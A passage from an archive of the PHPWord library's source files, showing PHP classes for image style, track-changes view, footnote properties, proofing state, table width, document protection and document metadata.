        $this->categoryLabelPosition = $this->setEnumVal($labelPosition, $enum, $this->categoryLabelPosition);

        return $this;
    }

    /**
     * Get the valueAxisLabelPosition setting.
     *
     * @return string
     */
    public function getValueLabelPosition()
    {
        return $this->valueLabelPosition;
    }

    /**
     * Set the valueLabelPosition setting
     * "none" - skips writing labels
     * "nextTo" - sets labels next to the value
     * "low" - sets labels are below the graph
     * "high" - sets labels above the graph.
     *
     * @param string
     * @param mixed $labelPosition
     */
    public function setValueLabelPosition($labelPosition)
    {
        $enum = ['nextTo', 'low', 'high'];
        $this->valueLabelPosition = $this->setEnumVal($labelPosition, $enum, $this->valueLabelPosition);

        return $this;
    }

    /**
     * Get the categoryAxisTitle.
     *
     * @return string
     */
    public function getCategoryAxisTitle()
    {
        return $this->categoryAxisTitle;
    }

    /**
     * Set the title that appears on the category side of the chart.
     *
     * @param string $axisTitle
     */
    public function setCategoryAxisTitle($axisTitle)
    {
        $this->categoryAxisTitle = $axisTitle;

        return $this;
    }

    /**
     * Get the valueAxisTitle.
     *
     * @return string
     */
    public function getValueAxisTitle()
    {
        return $this->valueAxisTitle;
    }

    /**
     * Set the title that appears on the value side of the chart.
     *
     * @param string $axisTitle
     */
    public function setValueAxisTitle($axisTitle)
    {
        $this->valueAxisTitle = $axisTitle;

        return $this;
    }

    public function getMajorTickPosition()
    {
        return $this->majorTickMarkPos;
    }

    /**
     * Set the position for major tick marks.
     *
     * @param string $position
     */
    public function setMajorTickPosition($position): void
    {
        $enum = ['in', 'out', 'cross', 'none'];
        $this->majorTickMarkPos = $this->setEnumVal($position, $enum, $this->majorTickMarkPos);
    }

    /**
     * Show Gridlines for X-Axis.
     *
     * @return bool
     */
    public function showGridX()
    {
        return $this->gridX;
    }

    /**
     * Set show Gridlines for X-Axis.
     *
     * @param bool $value
     *
     * @return self
     */
    public function setShowGridX($value = true)
    {
        $this->gridX = $this->setBoolVal($value, $this->gridX);

        return $this;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Style/Image.php000066600000013727151150442730016514 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Style;

/**
 * Image and memory image style.
 */
class Image extends Frame
{
    /**
     * Backward compatibility constants.
     *
     * @const string
     */
    const WRAPPING_STYLE_INLINE = self::WRAP_INLINE;
    const WRAPPING_STYLE_SQUARE = self::WRAP_SQUARE;
    const WRAPPING_STYLE_TIGHT = self::WRAP_TIGHT;
    const WRAPPING_STYLE_BEHIND = self::WRAP_BEHIND;
    const WRAPPING_STYLE_INFRONT = self::WRAP_INFRONT;
    const POSITION_HORIZONTAL_LEFT = self::POS_LEFT;
    const POSITION_HORIZONTAL_CENTER = self::POS_CENTER;
    const POSITION_HORIZONTAL_RIGHT = self::POS_RIGHT;
    const POSITION_VERTICAL_TOP = self::POS_TOP;
    const POSITION_VERTICAL_CENTER = self::POS_CENTER;
    const POSITION_VERTICAL_BOTTOM = self::POS_BOTTOM;
    const POSITION_VERTICAL_INSIDE = self::POS_INSIDE;
    const POSITION_VERTICAL_OUTSIDE = self::POS_OUTSIDE;
    const POSITION_RELATIVE_TO_MARGIN = self::POS_RELTO_MARGIN;
    const POSITION_RELATIVE_TO_PAGE = self::POS_RELTO_PAGE;
    const POSITION_RELATIVE_TO_COLUMN = self::POS_RELTO_COLUMN;
    const POSITION_RELATIVE_TO_CHAR = self::POS_RELTO_CHAR;
    const POSITION_RELATIVE_TO_TEXT = self::POS_RELTO_TEXT;
    const POSITION_RELATIVE_TO_LINE = self::POS_RELTO_LINE;
    const POSITION_RELATIVE_TO_LMARGIN = self::POS_RELTO_LMARGIN;
    const POSITION_RELATIVE_TO_RMARGIN = self::POS_RELTO_RMARGIN;
    const POSITION_RELATIVE_TO_TMARGIN = self::POS_RELTO_TMARGIN;
    const POSITION_RELATIVE_TO_BMARGIN = self::POS_RELTO_BMARGIN;
    const POSITION_RELATIVE_TO_IMARGIN = self::POS_RELTO_IMARGIN;
    const POSITION_RELATIVE_TO_OMARGIN = self::POS_RELTO_OMARGIN;
    const POSITION_ABSOLUTE = self::POS_ABSOLUTE;
    const POSITION_RELATIVE = self::POS_RELATIVE;

    /**
     * Create new instance.
     */
    public function __construct()
    {
        parent::__construct();
        $this->setUnit(self::UNIT_PT);

        // Backward compatibility setting
        // @todo Remove on 1.0.0
        $this->setWrap(self::WRAPPING_STYLE_INLINE);
        $this->setHPos(self::POSITION_HORIZONTAL_LEFT);
        $this->setHPosRelTo(self::POSITION_RELATIVE_TO_CHAR);
        $this->setVPos(self::POSITION_VERTICAL_TOP);
        $this->setVPosRelTo(self::POSITION_RELATIVE_TO_LINE);
    }

    /**
     * Get margin top.
     *
     * @return float|int
     */
    public function getMarginTop()
    {
        return $this->getTop();
    }

    /**
     * Set margin top.
     *
     * @ignoreScrutinizerPatch
     *
     * @param float|int $value
     *
     * @return self
     */
    public function setMarginTop($value = 0)
    {
        $this->setTop($value);

        return $this;
    }

    /**
     * Get margin left.
     *
     * @return float|int
     */
    public function getMarginLeft()
    {
        return $this->getLeft();
    }

    /**
     * Set margin left.
     *
     * @ignoreScrutinizerPatch
     *
     * @param float|int $value
     *
     * @return self
     */
    public function setMarginLeft($value = 0)
    {
        $this->setLeft($value);

        return $this;
    }

    /**
     * Get wrapping style.
     *
     * @return string
     */
    public function getWrappingStyle()
    {
        return $this->getWrap();
    }

    /**
     * Set wrapping style.
     *
     * @param string $wrappingStyle
     *
     * @return self
     */
    public function setWrappingStyle($wrappingStyle)
    {
        $this->setWrap($wrappingStyle);

        return $this;
    }

    /**
     * Get positioning type.
     *
     * @return string
     */
    public function getPositioning()
    {
        return $this->getPos();
    }

    /**
     * Set positioning type.
     *
     * @param string $positioning
     *
     * @return self
     */
    public function setPositioning($positioning)
    {
        $this->setPos($positioning);

        return $this;
    }

    /**
     * Get horizontal alignment.
     *
     * @return string
     */
    public function getPosHorizontal()
    {
        return $this->getHPos();
    }

    /**
     * Set horizontal alignment.
     *
     * @param string $alignment
     *
     * @return self
     */
    public function setPosHorizontal($alignment)
    {
        $this->setHPos($alignment);

        return $this;
    }

    /**
     * Get vertical alignment.
     *
     * @return string
     */
    public function getPosVertical()
    {
        return $this->getVPos();
    }

    /**
     * Set vertical alignment.
     *
     * @param string $alignment
     *
     * @return self
     */
    public function setPosVertical($alignment)
    {
        $this->setVPos($alignment);

        return $this;
    }

    /**
     * Get horizontal relation.
     *
     * @return string
     */
    public function getPosHorizontalRel()
    {
        return $this->getHPosRelTo();
    }

    /**
     * Set horizontal relation.
     *
     * @param string $relto
     *
     * @return self
     */
    public function setPosHorizontalRel($relto)
    {
        $this->setHPosRelTo($relto);

        return $this;
    }

    /**
     * Get vertical relation.
     *
     * @return string
     */
    public function getPosVerticalRel()
    {
        return $this->getVPosRelTo();
    }

    /**
     * Set vertical relation.
     *
     * @param string $relto
     *
     * @return self
     */
    public function setPosVerticalRel($relto)
    {
        $this->setVPosRelTo($relto);

        return $this;
    }
}
vendor/phpoffice/phpword/src/PhpWord/ComplexType/TrackChangesView.php000066600000007143151150442730022026 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\ComplexType;

/**
 * Visibility of Annotation Types.
 *
 * @see http://www.datypic.com/sc/ooxml/e-w_revisionView-1.html
 */
final class TrackChangesView
{
    /**
     * Display Visual Indicator Of Markup Area.
     *
     * @var bool
     */
    private $markup;

    /**
     * Display Comments.
     *
     * @var bool
     */
    private $comments;

    /**
     * Display Content Revisions.
     *
     * @var bool
     */
    private $insDel;

    /**
     * Display Formatting Revisions.
     *
     * @var bool
     */
    private $formatting;

    /**
     * Display Ink Annotations.
     *
     * @var bool
     */
    private $inkAnnotations;

    /**
     * Get Display Visual Indicator Of Markup Area.
     *
     * @return bool True if markup is shown
     */
    public function hasMarkup()
    {
        return $this->markup;
    }

    /**
     * Set Display Visual Indicator Of Markup Area.
     *
     * @param ?bool $markup
     *            Set to true to show markup
     */
    public function setMarkup($markup): void
    {
        $this->markup = $markup === null ? true : $markup;
    }

    /**
     * Get Display Comments.
     *
     * @return bool True if comments are shown
     */
    public function hasComments()
    {
        return $this->comments;
    }

    /**
     * Set Display Comments.
     *
     * @param ?bool $comments
     *            Set to true to show comments
     */
    public function setComments($comments): void
    {
        $this->comments = $comments === null ? true : $comments;
    }

    /**
     * Get Display Content Revisions.
     *
     * @return bool True if content revisions are shown
     */
    public function hasInsDel()
    {
        return $this->insDel;
    }

    /**
     * Set Display Content Revisions.
     *
     * @param ?bool $insDel
     *            Set to true to show content revisions
     */
    public function setInsDel($insDel): void
    {
        $this->insDel = $insDel === null ? true : $insDel;
    }

    /**
     * Get Display Formatting Revisions.
     *
     * @return bool True if formatting revisions are shown
     */
    public function hasFormatting()
    {
        return $this->formatting;
    }

    /**
     * Set Display Formatting Revisions.
     *
     * @param null|bool $formatting
     *            Set to true to show formatting revisions
     */
    public function setFormatting($formatting = null): void
    {
        $this->formatting = $formatting === null ? true : $formatting;
    }

    /**
     * Get Display Ink Annotations.
     *
     * @return bool True if ink annotations are shown
     */
    public function hasInkAnnotations()
    {
        return $this->inkAnnotations;
    }

    /**
     * Set Display Ink Annotations.
     *
     * @param ?bool $inkAnnotations
     *            Set to true to show ink annotations
     */
    public function setInkAnnotations($inkAnnotations): void
    {
        $this->inkAnnotations = $inkAnnotations === null ? true : $inkAnnotations;
    }
}
vendor/phpoffice/phpword/src/PhpWord/ComplexType/FootnoteProperties.php000066600000010224151150442730022502 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\ComplexType;

use InvalidArgumentException;
use PhpOffice\PhpWord\SimpleType\NumberFormat;

/**
 * Footnote properties.
 *
 * @see http://www.datypic.com/sc/ooxml/e-w_footnotePr-1.html
 */
final class FootnoteProperties
{
    const RESTART_NUMBER_CONTINUOUS = 'continuous';
    const RESTART_NUMBER_EACH_SECTION = 'eachSect';
    const RESTART_NUMBER_EACH_PAGE = 'eachPage';

    const POSITION_PAGE_BOTTOM = 'pageBottom';
    const POSITION_BENEATH_TEXT = 'beneathText';
    const POSITION_SECTION_END = 'sectEnd';
    const POSITION_DOC_END = 'docEnd';

    /**
     * Footnote Positioning Location.
     *
     * @var string
     */
    private $pos;

    /**
     * Footnote Numbering Format w:numFmt, one of PhpOffice\PhpWord\SimpleType\NumberFormat.
     *
     * @var string
     */
    private $numFmt;

    /**
     * Footnote and Endnote Numbering Starting Value.
     *
     * @var float
     */
    private $numStart;

    /**
     * Footnote and Endnote Numbering Restart Location.
     *
     * @var string
     */
    private $numRestart;

    /**
     * Get the Footnote Positioning Location.
     *
     * @return string
     */
    public function getPos()
    {
        return $this->pos;
    }

    /**
     * Set the Footnote Positioning Location (pageBottom, beneathText, sectEnd, docEnd).
     *
     * @param string $pos
     *
     * @return self
     */
    public function setPos($pos)
    {
        $position = [
            self::POSITION_PAGE_BOTTOM,
            self::POSITION_BENEATH_TEXT,
            self::POSITION_SECTION_END,
            self::POSITION_DOC_END,
        ];

        if (in_array($pos, $position)) {
            $this->pos = $pos;
        } else {
            throw new InvalidArgumentException('Invalid value, on of ' . implode(', ', $position) . ' possible');
        }

        return $this;
    }

    /**
     * Get the Footnote Numbering Format.
     *
     * @return string
     */
    public function getNumFmt()
    {
        return $this->numFmt;
    }

    /**
     * Set the Footnote Numbering Format.
     *
     * @param string $numFmt One of NumberFormat
     *
     * @return self
     */
    public function setNumFmt($numFmt)
    {
        NumberFormat::validate($numFmt);
        $this->numFmt = $numFmt;

        return $this;
    }

    /**
     * Get the Footnote Numbering Format.
     *
     * @return float
     */
    public function getNumStart()
    {
        return $this->numStart;
    }

    /**
     * Set the Footnote Numbering Format.
     *
     * @param float $numStart
     *
     * @return self
     */
    public function setNumStart($numStart)
    {
        $this->numStart = $numStart;

        return $this;
    }

    /**
     * Get the Footnote and Endnote Numbering Starting Value.
     *
     * @return string
     */
    public function getNumRestart()
    {
        return $this->numRestart;
    }

    /**
     * Set the Footnote and Endnote Numbering Starting Value (continuous, eachSect, eachPage).
     *
     * @param  string $numRestart
     *
     * @return self
     */
    public function setNumRestart($numRestart)
    {
        $restartNumbers = [
            self::RESTART_NUMBER_CONTINUOUS,
            self::RESTART_NUMBER_EACH_SECTION,
            self::RESTART_NUMBER_EACH_PAGE,
        ];

        if (in_array($numRestart, $restartNumbers)) {
            $this->numRestart = $numRestart;
        } else {
            throw new InvalidArgumentException('Invalid value, on of ' . implode(', ', $restartNumbers) . ' possible');
        }

        return $this;
    }
}
vendor/phpoffice/phpword/src/PhpWord/ComplexType/ProofState.php000066600000004525151150442730020725 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\ComplexType;

use InvalidArgumentException;

/**
 * Spelling and Grammatical Checking State.
 *
 * @see http://www.datypic.com/sc/ooxml/e-w_proofState-1.html
 */
final class ProofState
{
    /**
     * Check Completed.
     */
    const CLEAN = 'clean';

    /**
     * Check Not Completed.
     */
    const DIRTY = 'dirty';

    /**
     * Spell Checking State.
     *
     * @var string
     */
    private $spelling;

    /**
     * Grammatical Checking State.
     *
     * @var string
     */
    private $grammar;

    /**
     * Set the Spell Checking State (dirty or clean).
     *
     * @param string $spelling
     *
     * @return self
     */
    public function setSpelling($spelling)
    {
        if ($spelling == self::CLEAN || $spelling == self::DIRTY) {
            $this->spelling = $spelling;
        } else {
            throw new InvalidArgumentException('Invalid value, dirty or clean possible');
        }

        return $this;
    }

    /**
     * Get the Spell Checking State.
     *
     * @return string
     */
    public function getSpelling()
    {
        return $this->spelling;
    }

    /**
     * Set the Grammatical Checking State (dirty or clean).
     *
     * @param string $grammar
     *
     * @return self
     */
    public function setGrammar($grammar)
    {
        if ($grammar == self::CLEAN || $grammar == self::DIRTY) {
            $this->grammar = $grammar;
        } else {
            throw new InvalidArgumentException('Invalid value, dirty or clean possible');
        }

        return $this;
    }

    /**
     * Get the Grammatical Checking State.
     *
     * @return string
     */
    public function getGrammar()
    {
        return $this->grammar;
    }
}
vendor/phpoffice/phpword/src/PhpWord/ComplexType/TblWidth.php000066600000002741151150442730020356 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\ComplexType;

use PhpOffice\PhpWord\SimpleType\TblWidth as TblWidthSimpleType;

/**
 * @see http://www.datypic.com/sc/ooxml/t-w_CT_TblWidth.html
 */
final class TblWidth
{
    /** @var string */
    private $type;

    /** @var int */
    private $value;

    /**
     * @param int $value If omitted, then its value shall be assumed to be 0
     * @param string $type If omitted, then its value shall be assumed to be dxa
     */
    public function __construct($value = 0, $type = TblWidthSimpleType::TWIP)
    {
        $this->value = $value;
        TblWidthSimpleType::validate($type);
        $this->type = $type;
    }

    /**
     * @return string
     */
    public function getType()
    {
        return $this->type;
    }

    /**
     * @return int
     */
    public function getValue()
    {
        return $this->value;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Metadata/Protection.php000066600000007725151150442730020241 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Metadata;

use InvalidArgumentException;
use PhpOffice\PhpWord\Shared\Microsoft\PasswordEncoder;
use PhpOffice\PhpWord\SimpleType\DocProtect;

/**
 * Document protection class.
 *
 * @since 0.12.0
 * @see http://www.datypic.com/sc/ooxml/t-w_CT_DocProtect.html
 */
class Protection
{
    /**
     * Editing restriction none|readOnly|comments|trackedChanges|forms.
     *
     * @var string
     *
     * @see  http://www.datypic.com/sc/ooxml/a-w_edit-1.html
     */
    private $editing;

    /**
     * password.
     *
     * @var string
     */
    private $password;

    /**
     * Iterations to Run Hashing Algorithm.
     *
     * @var int
     */
    private $spinCount = 100000;

    /**
     * Cryptographic Hashing Algorithm (see constants defined in \PhpOffice\PhpWord\Shared\Microsoft\PasswordEncoder).
     *
     * @var string
     */
    private $algorithm = PasswordEncoder::ALGORITHM_SHA_1;

    /**
     * Salt for Password Verifier.
     *
     * @var string
     */
    private $salt;

    /**
     * Create a new instance.
     *
     * @param string $editing
     */
    public function __construct($editing = null)
    {
        if ($editing != null) {
            $this->setEditing($editing);
        }
    }

    /**
     * Get editing protection.
     *
     * @return string
     */
    public function getEditing()
    {
        return $this->editing;
    }

    /**
     * Set editing protection.
     *
     * @param string $editing Any value of \PhpOffice\PhpWord\SimpleType\DocProtect
     *
     * @return self
     */
    public function setEditing($editing = null)
    {
        DocProtect::validate($editing);
        $this->editing = $editing;

        return $this;
    }

    /**
     * Get password.
     *
     * @return string
     */
    public function getPassword()
    {
        return $this->password;
    }

    /**
     * Set password.
     *
     * @param string $password
     *
     * @return self
     */
    public function setPassword($password)
    {
        $this->password = $password;

        return $this;
    }

    /**
     * Get count for hash iterations.
     *
     * @return int
     */
    public function getSpinCount()
    {
        return $this->spinCount;
    }

    /**
     * Set count for hash iterations.
     *
     * @param int $spinCount
     *
     * @return self
     */
    public function setSpinCount($spinCount)
    {
        $this->spinCount = $spinCount;

        return $this;
    }

    /**
     * Get algorithm.
     *
     * @return string
     */
    public function getAlgorithm()
    {
        return $this->algorithm;
    }

    /**
     * Set algorithm.
     *
     * @param string $algorithm
     *
     * @return self
     */
    public function setAlgorithm($algorithm)
    {
        $this->algorithm = $algorithm;

        return $this;
    }

    /**
     * Get salt.
     *
     * @return string
     */
    public function getSalt()
    {
        return $this->salt;
    }

    /**
     * Set salt. Salt HAS to be 16 characters, or an exception will be thrown.
     *
     * @param string $salt
     *
     * @return self
     */
    public function setSalt($salt)
    {
        if ($salt !== null && strlen($salt) !== 16) {
            throw new InvalidArgumentException('salt has to be of exactly 16 bytes length');
        }

        $this->salt = $salt;

        return $this;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Metadata/DocInfo.php000066600000027733151150442730017435 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Metadata;

use DateTime;

/**
 * Document information.
 */
class DocInfo
{
    /** @const string Property type constants */
    const PROPERTY_TYPE_BOOLEAN = 'b';
    const PROPERTY_TYPE_INTEGER = 'i';
    const PROPERTY_TYPE_FLOAT = 'f';
    const PROPERTY_TYPE_DATE = 'd';
    const PROPERTY_TYPE_STRING = 's';
    const PROPERTY_TYPE_UNKNOWN = 'u';

    /**
     * Creator.
     *
     * @var string
     */
    private $creator;

    /**
     * LastModifiedBy.
     *
     * @var string
     */
    private $lastModifiedBy;

    /**
     * Created.
     *
     * @var int
     */
    private $created;

    /**
     * Modified.
     *
     * @var int
     */
    private $modified;

    /**
     * Title.
     *
     * @var string
     */
    private $title;

    /**
     * Description.
     *
     * @var string
     */
    private $description;

    /**
     * Subject.
     *
     * @var string
     */
    private $subject;

    /**
     * Keywords.
     *
     * @var string
     */
    private $keywords;

    /**
     * Category.
     *
     * @var string
     */
    private $category;

    /**
     * Company.
     *
     * @var string
     */
    private $company;

    /**
     * Manager.
     *
     * @var string
     */
    private $manager;

    /**
     * Custom Properties.
     *
     * @var array
     */
    private $customProperties = [];

    /**
     * Create new instance.
     */
    public function __construct()
    {
        $this->creator = '';
        $this->lastModifiedBy = $this->creator;
        $this->created = time();
        $this->modified = time();
        $this->title = '';
        $this->subject = '';
        $this->description = '';
        $this->keywords = '';
        $this->category = '';
        $this->company = '';
        $this->manager = '';
    }

    /**
     * Get Creator.
     *
     * @return string
     */
    public function getCreator()
    {
        return $this->creator;
    }

    /**
     * Set Creator.
     *
     * @param  string $value
     *
     * @return self
     */
    public function setCreator($value = '')
    {
        $this->creator = $this->setValue($value, '');

        return $this;
    }

    /**
     * Get Last Modified By.
     *
     * @return string
     */
    public function getLastModifiedBy()
    {
        return $this->lastModifiedBy;
    }

    /**
     * Set Last Modified By.
     *
     * @param  string $value
     *
     * @return self
     */
    public function setLastModifiedBy($value = '')
    {
        $this->lastModifiedBy = $this->setValue($value, $this->creator);

        return $this;
    }

    /**
     * Get Created.
     *
     * @return int
     */
    public function getCreated()
    {
        return $this->created;
    }

    /**
     * Set Created.
     *
     * @param  int $value
     *
     * @return self
     */
    public function setCreated($value = null)
    {
        $this->created = $this->setValue($value, time());

        return $this;
    }

    /**
     * Get Modified.
     *
     * @return int
     */
    public function getModified()
    {
        return $this->modified;
    }

    /**
     * Set Modified.
     *
     * @param  int $value
     *
     * @return self
     */
    public function setModified($value = null)
    {
        $this->modified = $this->setValue($value, time());

        return $this;
    }

    /**
     * Get Title.
     *
     * @return string
     */
    public function getTitle()
    {
        return $this->title;
    }

    /**
     * Set Title.
     *
     * @param  string $value
     *
     * @return self
     */
    public function setTitle($value = '')
    {
        $this->title = $this->setValue($value, '');

        return $this;
    }

    /**
     * Get Description.
     *
     * @return string
     */
    public function getDescription()
    {
        return $this->description;
    }

    /**
     * Set Description.
     *
     * @param  string $value
     *
     * @return self
     */
    public function setDescription($value = '')
    {
        $this->description = $this->setValue($value, '');

        return $this;
    }

    /**
     * Get Subject.
     *
     * @return string
     */
    public function getSubject()
    {
        return $this->subject;
    }

    /**
     * Set Subject.
     *
     * @param  string $value
     *
     * @return self
     */
    public function setSubject($value = '')
    {
        $this->subject = $this->setValue($value, '');

        return $this;
    }

    /**
     * Get Keywords.
     *
     * @return string
     */
    public function getKeywords()
    {
        return $this->keywords;
    }

    /**
     * Set Keywords.
     *
     * @param string $value
     *
     * @return self
     */
    public function setKeywords($value = '')
    {
        $this->keywords = $this->setValue($value, '');

        return $this;
    }

    /**
     * Get Category.
     *
     * @return string
     */
    public function getCategory()
    {
        return $this->category;
    }

    /**
     * Set Category.
     *
     * @param string $value
     *
     * @return self
     */
    public function setCategory($value = '')
    {
        $this->category = $this->setValue($value, '');

        return $this;
    }

    /**
     * Get Company.
     *
     * @return string
     */
    public function getCompany()
    {
        return $this->company;
    }

    /**
     * Set Company.
     *
     * @param string $value
     *
     * @return self
     */
    public function setCompany($value = '')
    {
        $this->company = $this->setValue($value, '');

        return $this;
    }

    /**
     * Get Manager.
     *
     * @return string
     */
    public function getManager()
    {
        return $this->manager;
    }

    /**
     * Set Manager.
     *
     * @param string $value
     *
     * @return self
     */
    public function setManager($value = '')
    {
        $this->manager = $this->setValue($value, '');

        return $this;
    }

    /**
     * Get a List of Custom Property Names.
     *
     * @return array of string
     */
    public function getCustomProperties()
    {
        return array_keys($this->customProperties);
    }

    /**
     * Check if a Custom Property is defined.
     *
     * @param string $propertyName
     *
     * @return bool
     */
    public function isCustomPropertySet($propertyName)
    {
        return isset($this->customProperties[$propertyName]);
    }

    /**
     * Get a Custom Property Value.
     *
     * @param string $propertyName
     *
     * @return mixed
     */
    public function getCustomPropertyValue($propertyName)
    {
        if ($this->isCustomPropertySet($propertyName)) {
            return $this->customProperties[$propertyName]['value'];
        }

        return null;
    }

    /**
     * Get a Custom Property Type.
     *
     * @param string $propertyName
     *
     * @return ?string
     */
    public function getCustomPropertyType($propertyName)
    {
        if ($this->isCustomPropertySet($propertyName)) {
            return $this->customProperties[$propertyName]['type'];
        }

        return null;
    }

    /**
     * Set a Custom Property.
     *
     * @param string $propertyName
     * @param mixed $propertyValue
     * @param string $propertyType
     *   'i': Integer
     *   'f': Floating Point
     *   's': String
     *   'd': Date/Time
     *   'b': Boolean
     *
     * @return self
     */
    public function setCustomProperty($propertyName, $propertyValue = '', $propertyType = null)
    {
        $propertyTypes = [
            self::PROPERTY_TYPE_INTEGER,
            self::PROPERTY_TYPE_FLOAT,
            self::PROPERTY_TYPE_STRING,
            self::PROPERTY_TYPE_DATE,
            self::PROPERTY_TYPE_BOOLEAN,
        ];
        if (($propertyType === null) || (!in_array($propertyType, $propertyTypes))) {
            if ($propertyValue === null) {
                $propertyType = self::PROPERTY_TYPE_STRING;
            } elseif (is_float($propertyValue)) {
                $propertyType = self::PROPERTY_TYPE_FLOAT;
            } elseif (is_int($propertyValue)) {
                $propertyType = self::PROPERTY_TYPE_INTEGER;
            } elseif (is_bool($propertyValue)) {
                $propertyType = self::PROPERTY_TYPE_BOOLEAN;
            } elseif ($propertyValue instanceof DateTime) {
                $propertyType = self::PROPERTY_TYPE_DATE;
            } else {
                $propertyType = self::PROPERTY_TYPE_STRING;
            }
        }

        $this->customProperties[$propertyName] = [
            'value' => $propertyValue,
            'type' => $propertyType,
        ];

        return $this;
    }

    /**
     * Convert document property based on type.
     *
     * @param string $propertyValue
     * @param string $propertyType
     *
     * @return mixed
     */
    public static function convertProperty($propertyValue, $propertyType)
    {
        $conversion = self::getConversion($propertyType);

        switch ($conversion) {
            case 'empty': // Empty
                return '';
            case 'null': // Null
                return null;
            case 'int': // Signed integer
                return (int) $propertyValue;
            case 'uint': // Unsigned integer
                return abs((int) $propertyValue);
            case 'float': // Float
                return (float) $propertyValue;
            case 'date': // Date
                return strtotime($propertyValue);
            case 'bool': // Boolean
                return $propertyValue == 'true';
        }

        return $propertyValue;
    }

    /**
     * Convert document property type.
     *
     * @param string $propertyType
     *
     * @return string
     */
    public static function convertPropertyType($propertyType)
    {
        $typeGroups = [
            self::PROPERTY_TYPE_INTEGER => ['i1', 'i2', 'i4', 'i8', 'int', 'ui1', 'ui2', 'ui4', 'ui8', 'uint'],
            self::PROPERTY_TYPE_FLOAT => ['r4', 'r8', 'decimal'],
            self::PROPERTY_TYPE_STRING => ['empty', 'null', 'lpstr', 'lpwstr', 'bstr'],
            self::PROPERTY_TYPE_DATE => ['date', 'filetime'],
            self::PROPERTY_TYPE_BOOLEAN => ['bool'],
        ];
        foreach ($typeGroups as $groupId => $groupMembers) {
            if (in_array($propertyType, $groupMembers)) {
                return $groupId;
            }
        }

        return self::PROPERTY_TYPE_UNKNOWN;
    }

    /**
     * Set default for null and empty value.
     *
     * @param mixed $value
     * @param mixed $default
     *
     * @return mixed
     */
    private function setValue($value, $default)
    {
        if ($value === null || $value == '') {
            $value = $default;
        }

        return $value;
    }

    /**
     * Get conversion model depending on property type.
     *
     * @param string $propertyType
     *
     * @return string
     */
    private static function getConversion($propertyType)
    {
        $conversions = [
            'empty' => ['empty'],
            'null' => ['null'],
            'int' => ['i1', 'i2', 'i4', 'i8', 'int'],
            'uint' => ['ui1', 'ui2', 'ui4', 'ui8', 'uint'],
            'float' => ['r4', 'r8', 'decimal'],
            'bool' => ['bool'],
            'date' => ['date', 'filetime'],
        ];
        foreach ($conversions as $conversion => $types) {
            if (in_array($propertyType, $types)) {
                return $conversion;
            }
        }

        return 'string';
    }
}
vendor/phpoffice/phpword/src/PhpWord/Metadata/Compatibility.php000066600000002630151150442730020712 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
